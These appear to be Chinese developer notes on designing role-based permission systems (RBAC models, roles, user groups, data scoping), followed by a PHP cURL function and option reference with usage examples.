保证初期设计支持后,配置权限时还需要注意以下几点:
(1)确定是否支持前端配置
如果角色和权限相对固定,一般将角色与权限的关系写在后台,改动时需要后端变更且重新上线,这种情况适用于公司内部系统等只有一个使用主体的系统。
如果需要自定义角色或每个角色在不同使用者的场景下有不同的权限,则需要将角色的定义、角色与权限之间的配置体现在"前端用户配置页面",这种情况适用于有频繁变动的自定义角色权限和有租户体系的系统。
(2)以基本单元拆分,以业务逻辑配置
一般可将每个对象的"增、删、改、查"各自作为一个基本的权限单元。在人员管理中查看人员列表、添加人员、删除人员、编辑人员信息最好拆分为4个权限单元。在技术和设计上希望能尽量做到解耦和模块化。
但在业务层面有些操作却是一体的,这些不能拆开的权限在"前端用户配置页面"中建议打包成一个整体提供配置。例如: 如果确定在系统的现有和未来业务中,仅分为普通成员有"人员管理"的查看权限,管理员有操作权限,则可将"增、删、改"三个基本权限单位合并为"操作"权限进行配置。
(3)页面权限优先于操作和数据权限
必须配置了页面模块权限后才能配置当前页面模块下具体的操作权限以及页面模块的数据展示权限。
(4)查看权限优先于增删改权限
正常情况下一定要先能查看某个模块或操作,其它的增删改操作才有意义,因此在设计时应在获取查看权限前限制其它权限的配置,或者配置其它权限时默认赋予查看权限。
(5)角色与权限的多种关系
角色与权限的关系不仅是单纯"是/否关系",还包括以某种限制进行操作和以某种程度访问数据,例如在人员管理中:
数据范围: 用户拥有查看人员列表的权限,但仅能查看自己所在的团队;
数据边界限制(上限等): 添加人员时不能超过20个等。
数据字段: HR能查看人员列表中包括职级、薪资等字段,其它角色仅能查看姓名邮箱等字段;
(6)角色与权限的设计表达
在传达一个系统的权限设计规则时,设计师常习惯用主观最直接的方式表达想法,如用"当……时就……"的句式来表达。但一个平台中涉及的权限规则是非常多的,当通篇以这样的形式描述时,表达对象将很难理解。
正确的描述方式: 更清晰的是基于开发的语言和技术模型的结果进行表达。将各角色与权限单元绘制成网格,每个交叉点网格中描述该角色与权限的数据关系和限制。
【 Tips 】
1. 隐形的admin
在可自定义角色和权限的系统中,一般需要预留一个admin角色来进行系统的初始配置,用于添加首批的业务人员和配置基本的角色。
有的系统中允许存在上帝视角的admin角色,则其可以作为"超级管理员"显示在角色配置的列表中。有的系统中不允许这种角色存在,则可将这种角色设置为隐形的状态,仅赋予维护系统的工作人员。
2. 初始权限的赋予
对于允许用户自行加入的系统,需要设定一至多个默认的角色,有时可以是仅有最基础权限的"游客"角色。
初始权限还可以与用户既有的某些数据字段进行关联,如添加用户时获取到用户的岗位为"设计师"则直接赋予"设计师"角色的权限。
3. 人员管理中对自己的处理
在人员管理中管理员角色处理自己时需要额外注意。因为如果修改或删除了自己角色后,可能导致系统没有管理角色,从而无法添加其他成员和正常运行。设计时可添加判断,当自己为唯一管理角色时禁止编辑和删除。
4. 无页面权限的提示
虽然可以通过页面权限限制直接隐藏当前用户没有权限的页面,但不能排除用户获取到权限外的url地址。当用户意外访问到没有权限的页面时务必提供"无权限"的提示,避免用户认为系统bug。
5. Auth类还可按用户属性进行判断权限,比如按照用户积分进行判断
假设用户表think_members有字段score记录了用户积分。在规则表添加规则时定义规则表的condition字段,condition字段是规则条件,默认为空表示没有附加条件,用户组中只有规则就通过认证。如果定义了condition字段,用户组中有规则不一定能通过认证,程序还会判断是否满足附加条件,比如添加几条规则:
name字段: grade1 condition字段: {score} < 100
name字段: grade2 condition字段: {score}>100 and {score} < 200
name字段: grade3 condition字段: {score}>200 and {score} < 300
这里{score}表示think_members表中字段score的值。
那么这时候
$auth->check('grade1', uid) 判断用户积分是不是0-100
$auth->check('grade2', uid) 判断用户积分是不是在100-200
$auth->check('grade3', uid) 判断用户积分是不是在200-300
在使用Auth类前需要配置config.php
'AUTH_CONFIG'=>array(
'AUTH_ON' => true, // 认证开关
'AUTH_TYPE' => 1, // 认证方式,1为时时认证;2为登录认证。
'AUTH_GROUP' => 'think_auth_group', // 用户组数据表名
'AUTH_GROUP_ACCESS' => 'think_auth_group_access', // 用户组明细表
'AUTH_RULE' => 'think_auth_rule', // 权限规则表
'AUTH_USER' => 'think_members'// 用户信息表
)
【 管理 】
项目管理
项目是用来隔离数据和用户的,用户加入当前项目才可以享受该项目下的资源。可以把项目当做部门就明白了,A部门的用户不可以查看B部门的数据。
删除项目,需要提示是否删除项目下的数据,如果删除有很多风险,那就禁用删除吧。还有一种折中的方法,就是删除时允许将项目下的资源迁移到其他项目。
用户管理
管理用户信息,以及对用户进行增删改查,包括用户名称、所属部门、联系电话等信息,至于密码,一般只能重置密码,而不是显示密码允许修改。
源: 一般可以和OA关联拿取账号,而不需要在产品里添加,保证内部系统信息一致性。
目标: 在产品中一些页面需要读取用户管理的用户信息。
交接: 如果用户的信息被产品某些功能所引用,必须考虑用户离职后,其创建的资源管理的问题,这时候被赋予所有权限的管理员是个很好的接盘侠。
用户组管理
用户组其实就是批量给用户赋予角色,将多个用户绑定为一个小组,再给这个小组赋予一个角色。
如果内部组织架构不复杂的话,最好不要加入用户组,不然增加了权限体系的复杂性
角色管理
管理角色信息,对角色进行增删改查,包括角色名称、角色描述和角色状态等。
可以将角色理解为将权限打包成一个小组,那个小组就是一个角色。
角色停用后,用户被赋予这个权限就不生效。
权限
页面权限: 指用户可以看到的页面。如果产品比较复杂,可能需要从模块权限到菜单权限最后到页面权限。
操作权限: 指用户可以操作的内容,即按钮权限,是否有增删改查的权限。
RBAC:role based access control
按照RBAC来看权限分配 超级管理员,一般管理员,编辑,会员,游客 根据人员职级的不同所使用的系统功能不同,当人员使用相同功能时,根据组织机构的不同看见的数据不同。按照不同的维度进行权限的划分而不同。 其一基于角色的访问权限控制模型,人员角色来赋值给用户的权限管理,用户角色与权限,但一个用户也可能有多个角色 可以分为两大类型: 功能权限、数据权限。 在对应系统中每个用户所看见的界面功能和数据不可能都一样,而是根据人员的组织机构和职级不同进行相应的区分。 举个例子: 部门经理可见可操作功能'业务报表',员工不可见。 业务A部门经理在业务报表中只能看见本部门业务A部门的数据。而总经理可在业务报表中,可查看所有部门业务A、B、C3个部门的数据,这时就需要进行对应的权限分配。 经典模型RBAC模型是现在权限管理系统的基础,但包括不限于此。根据公司组织架构不同设计有所不同,或2B业务是设计的通用权限划分,RBAC模型可分为: RBAC_0、RBAC_1、RBAC_2、 RBAC_3共4个版本,其他3个模型都是基于RBAC_0演化的 RBAC_0模型: 权限——角色——用户 RBAC_1模型: 基于RBAC_0增加了子角色,子角色可继承父角色的所有权限。 RBAC_2模型: 基于RBAC_0增加了角色互斥,互斥的角色不可同时赋予一个用户账号。 RBAC_3模型: 结合了RBAC_0、RBAC_1、RBAC_2,目前为更全面更复杂的模型。 基于RBAC来做的权限赋予角色再赋予用户 1. 功能权限 配置每个用户所见及所能操作的功能项不同。 当在主系统中存在不同子系统时,选定对应子系统将不同的功能项赋予到指定的角色上 2. 数据权限 根据组织机构所属部门不同,用户使用相同功能时所能看见的展示数据是不一样的,因根据公司业务情况不同。 其一直接套用组织机构进行权限划分,缺点不可配置,无法根据实际业务跨部门查看数据。 其二根据组织机构再次进行配置划分数据权限,缺点为每个组织机构都进行数据权限分配。 3. 角色结合 在某个组织机构下选取的岗位角色,赋予对应的功能角色和数据角色。 岗位角色=功能角色+数据角色 4. 配置账号 将不同的用户账号赋予不同的岗位权限,因我们在角色就是用的多角色构成关系,及岗位角色被赋予了多个功能权限与数据权限。因此,一个用户账号在此只需要对应一个岗位角色即可 若无任何一权限进入系统后则应有"无权限"提示,对于企业级系统如ERP、OA主体为公司员工使用,而账号分配及权限分配都是有专人负责进行,并无开放注册功能。 按照不同的维度进行权限的划分还可以对接人力资源管理系统,按照组织机构进行权限划分,也可在当前设置按钮中加入共享功能再特定人员(如分部、部门、个人、角色),这时根据系统主体架构而定。 【 RBAC-0模型 】 RBAC-0模型是权限最基础也是最核心的模型,它包括用户/角色/权限,其中用户和角色是多对多的关系,角色和权限也是多对多的关系。 用户是发起操作的主体,按类型分可分为2B和2C用户,可以是后台管理系统的用户,可以是OA系统的内部员工,也可以是面向C端的用户,比如阿里云的用户。 角色起到了桥梁的作用,连接了用户和权限的关系,每个角色可以关联多个权限,同时一个用户关联多个角色,那么这个用户就有了多个角色的多个权限。 有人会问了为什么用户不直接关联权限呢?在用户基数小的系统,比如20个人的小系统,管理员可以直接把用户和权限关联,工作量并不大,选择一个用户勾选下需要的权限就完事了。 但在实际企业系统中用户基数比较大,其中很多人的权限都是一样的,就是个普通访问权限,如果管理员给100人甚至更多授权,工作量巨大。 这就引入了角色(Role)概念,一个角色可以与多个用户关联,管理员只需要把该角色赋予用户,那么用户就有了该角色下的所有权限,这样设计既提升了效率,也有很大的拓展性。 权限是用户可以访问的资源,包括页面权限,操作权限,数据权限: 页面权限: 即用户登录系统可以看到的页面,由菜单来控制,菜单包括一级菜单和二级菜单,只要用户有一级和二级菜单的权限,那么用户就可以访问页面 操作权限 即页面的功能按钮,包括查看,新增,修改,删除,审核等,用户点击删除按钮时,后台会校验用户角色下的所有权限是否包含该删除权限。如果是就可以进行下一步操作,反之提示无权限。 有的系统要求可见即可操作,意思是如果页面上能够看到操作按钮,那么用户就可以操作,要实现此需求就需要前端来配合,前端开发把用户的权限信息缓存,在页面判断用户是否包含此权限,如果有就显示该按钮,如果没有就隐藏该按钮。某种程度上提升了用户体验,但在实际场景可自行选择是否需要这样做 数据权限 数据权限就是用户在同一页面看到的数据是不同的,比如财务部只能看到其部门下的用户数据,采购部只看采购部的数据。在一些大型的公司,全国有很多城市和分公司,比如杭州用户登录系统只能看到杭州的数据,上海用户只能看到上海的数据,解决方案一般是把数据和具体的组织架构关联起来。例如给用户授权时,用户选择某个角色同时绑定组织如财务部或合肥分公司,那么该用户就有了该角色下财务部或合肥分公司下的的数据权限。 以上是RBAC的核心设计及模型分析,此模型也叫做RBAC-0,而基于核心概念之上,RBAC还提供了扩展模式,包括RBAC-1,RBAC-2,RBAC-3模型 【 RBAC-1模型 】 此模型引入了角色继承(Hierarchical Role)概念,即角色具有上下级的关系,角色间的继承关系可分为一般继承关系和受限继承关系。 一般继承关系仅要求角色继承关系是一个绝对偏序关系,允许角色间的多继承。 受限继承关系则进一步要求角色继承关系是一个树结构,实现角色间的单继承。这种设计可以给角色分组和分层,一定程度简化了权限管理工作。 【 RBAC-2模型 】 基于核心模型的基础上进行了角色的约束控制,RBAC2模型中添加了责任分离关系。 其规定了权限被赋予角色时,或角色被赋予用户时,以及当用户在某一时刻激活一个角色时所应遵循的强制性规则。 责任分离包括静态责任分离和动态责任分离,主要包括以下约束: 1、互斥角色: 同一用户只能分配到一组互斥角色集合中至多一个角色,支持责任分离的原则。互斥角色是指各自权限互相制约的两个角色。比如财务部有会计和审核员两个角色,他们是互斥角色,那么用户不能同时拥有这两个角色,体现了职责分离原则 2、基数约束: 一个角色被分配的用户数量受限;一个用户可拥有的角色数目受限;同样一个角色对应的访问权限数目也应受限,以控制高级权限在系统中的分配 3、先决条件角色: 即用户想获得某上级角色,必须先获得其下一级的角色 【 RBAC-3模型 】 即最全面的权限管理,它是基于RBAC-0,将RBAC-1和RBAC-2进行了整合 【 用户组 】 当平台用户基数增大角色类型增多时,而且有一部分人具有相同的属性,比如财务部的所有员工,如果直接给用户分配角色,管理员的工作量就会很大。 如果把相同属性的用户归类到某用户组,那么管理员直接给用户组分配角色,用户组里的每个用户即可拥有该角色,以后其他用户加入用户组后,即可自动获取用户组的所有角色,退出用户组,同时也撤销了用户组下的角色,无须管理员手动管理角色。 根据用户组是否有上下级关系,可以分为有上下级的用户组和普通用户组: 1、具有上下级关系的用户组 最典型的例子就是部门和职位,可能多数人没有把部门职位和用户组关联起来吧。当然用户组是可以拓展的,部门和职位常用于内部的管理系统,如果是面向C端的系统。比如淘宝网的商家,商家自身也有一套组织架构,比如采购部,销售部,客服部,后勤部等,有些人拥有客服权限,有些人拥有上架权限等等,所以用户组是可以拓展的 2、普通用户组 即没有上下级关系,和组织架构、职位都没有关系,也就是说可以跨部门,跨职位。举个例子,某电商后台管理系统,有拼团活动管理角色,可以设置一个拼团用户组,该组可以包括研发部的后台开发人员,运营部的运营人员,采购部的人员等 每个公司都会涉及到到组织和职位 组织(部门) 总部 -> 分公司 -> 财务部、采购部、销售部、研发部 可以把组织与角色进行关联,用户加入组织后就会自动获得该组织的全部角色,无须管理员手动授予,大大减少工作量,同时用户在调岗时,只需调整组织,角色即可批量调整。 组织的另外一个作用是控制数据权限,把角色关联到组织,那么该角色只能看到该组织下的数据权限。 职位 每个组织部门下都会有多个职位,比如财务部有总监,会计,出纳等职位,虽然都在同一部门,但每个职位的权限是不同的,职位高的拥有更多的权限。 总监拥有所有权限,会计和出纳拥有部分权限,特殊情况下一个人可能身兼多职。 含有组织/职位/用户组的模型 根据系统的复杂度不同,其中的多对多关系和一对一关系可能会有变化 在单系统且用户类型单一的情况下,用户和组织是一对一关系,组织和职位是一对多关系,用户和职位是一对一关系,组织和角色是一对一关系,职位和角色是一对一关系,用户和用户组是多对对关系,用户组和角色是一对一关系,当然这些关系也可以根据具体业务进行调整。模型设计并不是死的,如果小系统不需要用户组,这块是可以去掉的。 分布式系统且用户类型单一的情况下,到这里权限系统就会变得很复杂,这里就要引入了一个"系统"概念。此时系统架构是个分布式系统,权限系统独立出来,负责所有的系统的权限控制,其他业务系统比如商品中心、订单中心、用户中心,每个系统都有自己的角色和权限,那么权限系统就可以配置其他系统的角色和权限。 分布式系统且用户类型多个的情况下,比如淘宝网,它的用户类型包括内部用户,商家,普通用户,内部用户登录多个后台管理系统,商家登录商家中心,这些做权限控制 【 授权流程 】 授权即给用户授予角色,按流程可分为手动授权和审批授权。权限中心可同时配置这两种,可提高授权的灵活性。 手动授权: 管理员登录权限中心为用户授权,根据在哪个页面授权分为两种方式: 给用户添加角色,给角色添加用户。给用户添加角色就是在用户管理页面,点击某个用户去授予角色,可以一次为用户添加多个角色;给角色添加用户就是在角色管理页面,点击某个角色,选择多个用户,实现了给批量用户授予角色的目的。 审批授权: 用户申请某个职位角色,那么用户通过OA流程申请该角色,然后由上级审批,该用户即可拥有该角色,不需要系统管理员手动授予。
php网络请求API - cURL
php网络请求
1、stream流的方式 stream_context_create作用: 创建并返回一个文本数据流并应用各种选项,可用于fopen()、file_get_contents()等过程的超时设置、代理服务器、请求方式、头信息设置的特殊过程 2、socket方式 使用套接字建立连接,拼接HTTP报文发送数据进行HTTP请求 3、curl,fsockopen,readfile,file_get_contents等函数都可以实现采集模拟 curl效率比file_get_contents()和fsockopen()高一些,原因是CURL会自动对DNS信息进行缓存方法: readfile方法: fopen + readfile方法: 用fopen打开url,以get方式获取内容方法: 用fsockopen函数打开url,以get方式获取完整的数据,包括header和body
cURL
使用url语法传输数据的命令行工具,curl的原理是模拟浏览器的操作,稳定速度快
curl支持很多协议,有FTP,FTPS,HTTP,HTTPS,GOPHER,TELNET,DICT,FILE及LDAP,即它能做到很多file_get_content做不到的事情。curl在php可以实现远程获取和采集内容;实现PHP网页版的FTP上传下载;实现模拟登陆;实现接口对接(API),数据传输;实现模拟Cookie;下载文件断点续传等,功能十分强大
客户端向服务器请求资源的工具
cmd> php -v // 检测PHP版本信息
cmd> php -i // 检测某种版本的PHP是否支持curl
powershell可以直接使用curl命令
【 http头部Expect 】
在通过curl调用对方接口时,发现超时现象很严重,于是询问对方接口人,对方说需要加上:
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
加上之后发现果然好使了,于是调研了一下该用法。
在使用curl做POST的时候, 当要POST的数据大于1024字节的时候, curl并不会直接就发起POST请求, 而是会分为2个步骤:
发送一个请求, 包含一个Expect:100-continue, 询问Server使用愿意接受数据
接收到Server返回的100-continue应答以后, 才把数据POST给Server
但是这样会有几个问题:
不是所有的服务器都会正确应答100-continue, 比如lighttpd就会返回417 Expectation Failed。
造成延时,客户端在发送第一次的Expect:100-continue时,需要等待服务器端进行回答之后才发送request body。
如果确定对方的服务器不会拒绝1024个字节以上的POST请求,就可以不使用该方法而且也可以避免以上提到的两个副作用,解决的办法就是文章开头提到的。
关于100 continue
收到了请求的初始部分,请客户端继续。
这样做的目的是: 它可以让客户端在发送请求数据之前去判断服务器是否愿意接收该数据,如果服务器愿意接收,客户端才会真正发送数据,如果客户端直接发送请求数据,但是服务器又将该请求拒绝的话,这种行为将带来很大的资源开销。
客户端行为
发送了100 continue的客户端不应该永远等待服务器端做出回应,超时一段时间之后,客户端应该直接将实体发送出去。
服务器端行为
如果服务器端收到了100 continue的请求,它会用100 continue响应或者发送一个错误码。服务端永远不能向没有发送100 continue的客户端发送100 continue。但是有的服务器会这么做。IIS 5 incorrectly sending 100-continue response
如果服务端在还没发送100 continue响应时就收到了客户端的body,那么说明客户端决定开始发送数据了,所以此时服务器端不能再向客户端发送100 continue
curl函数
curl_version() 获取cURL版本信息 $ch = curl_init() 初始化一个cURL会话,返回cURL句柄 curl_setopt() bool curl_setopt ( resource $ch ,int $option ,mixed $value ) 设置一个cURL传输选项 curl_setopt_array() bool curl_setopt_array ( resource $ch ,array $options ) 为cURL传输会话批量设置选项 如果全部选项都被成功设置返回TRUE。如果一个选项不能被成功设置返回FALSE,忽略其后任何在options数组中的选项 curl_reset() 重置libcurl的会话句柄的所有选项 curl_copy_handle() 复制一个cURL句柄和它的所有选项 curl_exec() mixed curl_exec ( resource $ch ) 执行给定的cURL会话,这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用,抓取URL并把它传递给浏览器 成功返回TRUE,失败返回FALSE;如果设置了CURLOPT_RETURNTRANSFER选项,函数执行成功时会返回执行的结果,失败时返回FALSE curl_file_create() 创建一个CURLFile对象 curl_errno() 返回最后一次的错误代码,没有错误返回0 curl_error() 返回当前会话最后一次错误的字符串,没有错误返回空字符串 curl_strerror() 返回错误代码的字符串描述 curl_getinfo() mixed curl_getinfo ( resource $ch [,int $opt = 0 ] ) 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息 参数opt是以下常量之一: CURLINFO_EFFECTIVE_URL 最后一个有效的URL地址 CURLINFO_HTTP_CODE 最后一个收到的HTTP代码 CURLINFO_FILETIME 远程获取文档的时间,如果无法获取,则返回值为"-1" CURLINFO_TOTAL_TIME 最后一次传输所消耗的时间 CURLINFO_NAMELOOKUP_TIME 名称解析所消耗的时间 CURLINFO_CONNECT_TIME 建立连接所消耗的时间 CURLINFO_PRETRANSFER_TIME 从建立连接到准备传输所使用的时间 CURLINFO_STARTTRANSFER_TIME 从建立连接到传输开始所使用的时间 CURLINFO_REDIRECT_TIME 在事务传输开始前重定向所使用的时间 CURLINFO_SIZE_UPLOAD 以字节为单位返回上传数据量的总值 CURLINFO_SIZE_DOWNLOAD 以字节为单位返回下载数据量的总值 CURLINFO_SPEED_DOWNLOAD 平均下载速度 CURLINFO_SPEED_UPLOAD 平均上传速度 CURLINFO_HEADER_SIZE header部分的大小 CURLINFO_HEADER_OUT 发送请求的字符串 CURLINFO_REQUEST_SIZE 在HTTP请求中有问题的请求的大小 CURLINFO_SSL_VERIFYRESULT 通过设置CURLOPT_SSL_VERIFYPEER返回的SSL证书验证请求的结果 CURLINFO_CONTENT_LENGTH_DOWNLOAD 从Content-Length: field中读取的下载内容长度 CURLINFO_CONTENT_LENGTH_UPLOAD 上传内容大小的说明 CURLINFO_CONTENT_TYPE 下载内容的Content-Type:值,NULL表示服务器没有发送有效的Content-Type: header 返回值 如果opt被设置,以字符串形式返回它的值,否则返回一个包含下列元素的关联数组(它们分别对应于opt): "url"、"content_type"、"http_code"、"header_size"、"request_size"、"filetime"、"ssl_verify_result"、"redirect_count"、 "total_time"、"namelookup_time"、"connect_time"、"pretransfer_time"、"size_upload"、"size_download"、"speed_download"、 "speed_upload"、"download_content_length"、"upload_content_length"、"starttransfer_time"、"redirect_time"、 curl_pause() 暂停及恢复连接 curl_close($ch) 关闭一个cURL会话 curl_share_init() 初始化cURL共享句柄 curl_share_setopt() 设置一个共享句柄的cURL传输选项 curl_share_close() 关闭cURL共享句柄 curl_escape() 返回转义字符串,对给定的字符串进行URL编码 curl_unescape() 解码URL编码后的字符串 $mh = curl_multi_init() 无参数,返回一个新cURL批处理句柄,返回cURL多个句柄 curl_multi_add_handle() int curl_multi_add_handle ( resource $mh ,resource $ch ) mh是由curl_multi_init()返回的cURL多个句柄 ch是由curl_init()返回的cURL句柄 向curl批处理会话中添加单独的curl句柄 成功时返回0,失败时返回CURLM_XXX之一的错误码 curl_multi_close() 关闭一组cURL句柄 curl_multi_exec() int curl_multi_exec ( resource $mh ,int &$still_running ) 运行当前cURL句柄的子连接,处理在栈中的每一个句柄,无论该句柄需要读取或写入数据都可调用此方法 参数still_running是一个用来判断操作是否仍在执行的标识的引用 返回值是一个定义于cURL预定义常量中的cURL代码 curl_multi_getcontent() string curl_multi_getcontent ( resource $ch ) 如果设置了CURLOPT_RETURNTRANSFER则返回获取的输出的文本流 参数ch是由curl_init()返回的cURL句柄 curl_multi_info_read() 获取当前解析的cURL的相关传输信息 curl_multi_remove_handle() 移除curl批处理句柄资源中的某个句柄资源 curl_multi_select() 等待所有cURL批处理中的活动连接 curl_multi_setopt() 设置一个批处理cURL传输选项 curl_multi_strerror() 返回描述错误码的字符串文本
option可选参数
【 usage 】
CURLOPT_URL string
需要获取的URL地址,也可以在curl_init()函数初始化会话设置
CURLOPT_RETURNTRANSFER bool
true相当于return,false相当于echo,TRUE将curl_exec()获取的信息以字符串返回,而不是直接输出
使用CURLOPT_RETURNTRANSFER后总是会返回原生的(Raw)内容
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
CURLOPT_HEADER bool
启用时会将头文件的信息作为数据流输出
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_HEADER,true); // 开启header才能够抓取到重定向到的新URL,用于分析header
CURLOPT_HTTPHEADER array
一个用来设置HTTP头字段的数组,格式: array('Content-type: text/plain', 'Content-length: 100')
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: text/plain','Content-length: 100'));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/x-www-form-urlencoded; charset=utf-8","Content-Length: ".strlen($data]);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: text/xml"));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Range: Bytes=0-50\n"));
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Range: Bytes=0-50\nOtherheader: stuff\n"));
或者以数组格式时:
CURLOPT_HTTPHEADER => array('Content-Type: application/x-www-form-urlencoded')
Content-Type
application/json(其实和text/plain都是一样的,json只是为了告诉接收者可以直接json解码) 对应postman上的RAW。
application/x-www-form-urlencoded是form表单(enctype参数)的默认编码方式,参数用&符号连接。get请求直接拼在URL后面,post请求参数在body里面,需要key=value&key=value这种,也就是需要http_build_query
multipart/form-data 当form需要上传文件的时候就要将enctype设置为这个属性值了,curl在使用multipart/form-data 方式传递的时候,参数需要是数组的格式(数组格式会自动变为multipart/form-data编码), 文件对于php小于5,5版本的使用@文件全路径表示,不加请求头时默认就是这个格式,但对于大于php5.5的版本,需要curlfile方法来new一个特殊类型的对象(curl_file_create('文件的全路径')),然后将这个对象放进请求的参数里面。
不加头部则默认为multipart/form-data格式,multipart/form-data用array格式传送,
content-type为x-www-form-urlencoded时用key=value&key=value(键值对)的形式传送。
在接收端发现使用POST是接收不到数据的,当然_REQUEST也是一样,那么传的JSON数据哪里去了呢?怎么才能接收到传递的JSON数据?使用如下方法:
$GLOBALS['HTTP_RAW_POST_DATA’];
file_get_contents('php://input');
CURLINFO_HEADER_OUT bool
启用时追踪句柄的请求字符串
curl_setopt($ch,CURLINFO_HEADER_OUT,1);
CURLOPT_USERAGENT string
在HTTP请求中包含一个"User-Agent: "头的字符串
curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch,CURLOPT_USERAGENT,'user-agent:Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0');
CURLOPT_FOLLOWLOCATION bool
是否抓取跳转后的页面,true是自动跳转,会根据服务器返回HTTP头中的"Location: "重定向
这是递归的,"Location: "发送几次就重定向几次,除非设置了CURLOPT_MAXREDIRS,限制最大重定向次数
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
CURLOPT_MAXREDIRS integer
指定最多的HTTP重定向的数量,这个选项是和CURLOPT_FOLLOWLOCATION一起使用的
CURLOPT_UNRESTRICTED_AUTH bool
在使用CURLOPT_FOLLOWLOCATION产生的header中的多个locations中持续追加用户名和密码信息,即使域名已发生改变
CURLOPT_REFERER string
在HTTP请求头中"Referer: "的内容
CURLOPT_AUTOREFERER bool
TRUE时将根据Location:重定向时自动设置header中的Referer:信息
CURLOPT_BINARYTRANSFER bool
在启用CURLOPT_RETURNTRANSFER的时候,返回原生的(Raw)输出
curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);
CURLOPT_COOKIESESSION bool
启用时curl会仅仅传递一个session cookie,忽略其他的cookie,默认cURL会将所有的cookie返回给服务端。
session cookie是指那些用来判断服务器端的session是否有效而存在的cookie
设为TRUE时将开启新的一次cookie会话,它将强制libcurl忽略之前会话时存的其他cookie。libcurl默认无论是否为会话都会储存、加载所有cookie。会话cookie是指没有过期时间,只存活在会话之中
curl_setopt($ch,CURLOPT_COOKIESESSION,TRUE);
CURLOPT_COOKIE string
设定HTTP请求中"Cookie: "部分的内容。多个cookie用分号分隔,分号后带一个空格("fruit=apple; colour=red")
date_default_timezone_set('PRC'); // 使用cookie时必须先设置时区
curl_setopt($curlobj,CURLOPT_COOKIE,session_name() . '=' . session_id());
CURLOPT_COOKIEFILE string
包含cookie数据的文件名,cookie文件的格式可以是Netscape格式,或只是纯HTTP头部风格,存入文件。如果文件名是空的不会加载cookie,但cookie的处理仍旧启用。
curl_setopt($ch,CURLOPT_COOKIEFILE,$cookie_file);
CURLOPT_COOKIEJAR string
连接结束后,比如调用curl_close后,保存cookie信息的文件
CURLOPT_POST bool
TRUE时会发送一个常规的POST请求,类型为: application/x-www-form-urlencoded,是HTML表单提交时最常见的一种
curl_setopt($ch,CURLOPT_POST,true);
CURLOPT_POSTFIELDS string
全部数据使用HTTP协议中的POST操作来发送,要发送文件在文件名前面加上@前缀并使用完整路径,文件类型可在文件名后以';type=mimetype'的格式指定
该参数可通过urlencoded后的字符串类似'para1=val1¶2=val2&...'���使用一个字段名为键值字段值为值的数组
如果value是字符串,Content-Type头将会被设置成application/x-www-form-urlencoded,这是正常网页提交表单时浏览器发送的头部
如果value是一个数组,Content-Type头将会被设置成multipart/form-data,而multipart/form-data是用于上传文件的表单,包括了boundary分界符,会多出很多字节,Content-Lengt不同
可以使用$postdata = http_build_query($postdata);将数组转换成字符串
文件可通过CURLFile发送。设置CURLOPT_SAFE_UPLOAD为TRUE可禁用@前缀发送文件,以增加安全性
curl_setopt($ch,CURLOPT_POSTFIELDS,$postData);
$postData为数组时Content-Type头部被设置为multipart/form-data,通过file_get_contents('php://input')获取不到post提交的到数据,通过$_POST可以,$_FILES可以获取数据
curl_setopt($ch,CURLOPT_POSTFIELDS,$postData);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($postData));
CURLOPT_PUT bool
TRUE时允许HTTP发送文件,要被PUT的文件必须在CURLOPT_INFILE和CURLOPT_INFILESIZE中设置
CURLOPT_INFILESIZE integer
希望传给远程站点的文件尺寸,字节(byte)为单位,无法用这个选项阻止libcurl发送更多的数据,确切发送什么取决于CURLOPT_READFUNCTION
CURLOPT_UPLOAD
启用后允许文件上传
CURLOPT_SAFE_UPLOAD bool
TRUE禁用@前缀在CURLOPT_POSTFIELDS中发送文件,意味着@可以在字段中安全得使用了,可使用CURLFile作为上传的代替。
PHP5.5.0中添加,默认值FALSE。PHP5.6.0改默认值为TRUE。PHP7删除了此选项,必须使用CURLFile interface来上传文件。
CURLOPT_HTTPAUTH
使用的HTTP验证方法。选项有CURLAUTH_BASIC、CURLAUTH_DIGEST、CURLAUTH_GSSNEGOTIATE、CURLAUTH_NTLM、CURLAUTH_ANY和CURLAUTH_ANYSAFE。
可以使用 | 位域(OR)操作符结合多个值,cURL会让服务器选择受支持的方法,并选择最好的那个。
CURLAUTH_ANY是CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM的别名。
CURLAUTH_ANYSAFE是CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM的别名。
CURLOPT_RANGE string
以"X-Y"的形式,其中X和Y都是可选项获取数据的范围,以字节计。HTTP传输线程也支持几个这样的重复项中间用逗号分隔如"X-Y,N-M"
CURLOPT_RESUME_FROM integer
在恢复传输时传递字节为单位的偏移量(用来断点续传)
CURLOPT_USERNAME string
验证中使用的用户名
CURLOPT_USERPWD string
传递一个连接中需要的用户名和密码,格式为: "[username]:[password]"
curl_setopt($curlobj,CURLOPT_USERPWD,"peter.zhou:123456"); // 登录,用户名: 密码
CURLOPT_XOAUTH2_BEARER string
指定 OAuth 2.0 access token
CURLOPT_HTTPGET bool
TRUE时会设置HTTP的method为GET,由于默认是GET,所以只有method被修改时才需要这个选项
CURLOPT_NOBODY bool
TRUE时将不输出BODY部分。同时Mehtod变成了HEAD。修改为FALSE时不会变成GET
CURLOPT_NOPROGRESS bool
启用时关闭curl传输的进度条,此项的默认设置为启用
CURLOPT_ENCODING string
HTTP请求头中"Accept-Encoding: "的值。支持的编码有"identity","deflate"和"gzip"。如果为空字符串""请求头会发送所有支持的编码类型
curl_setopt($curlobj,CURLOPT_ENCODING,'gzip,deflate');
【 connect 】
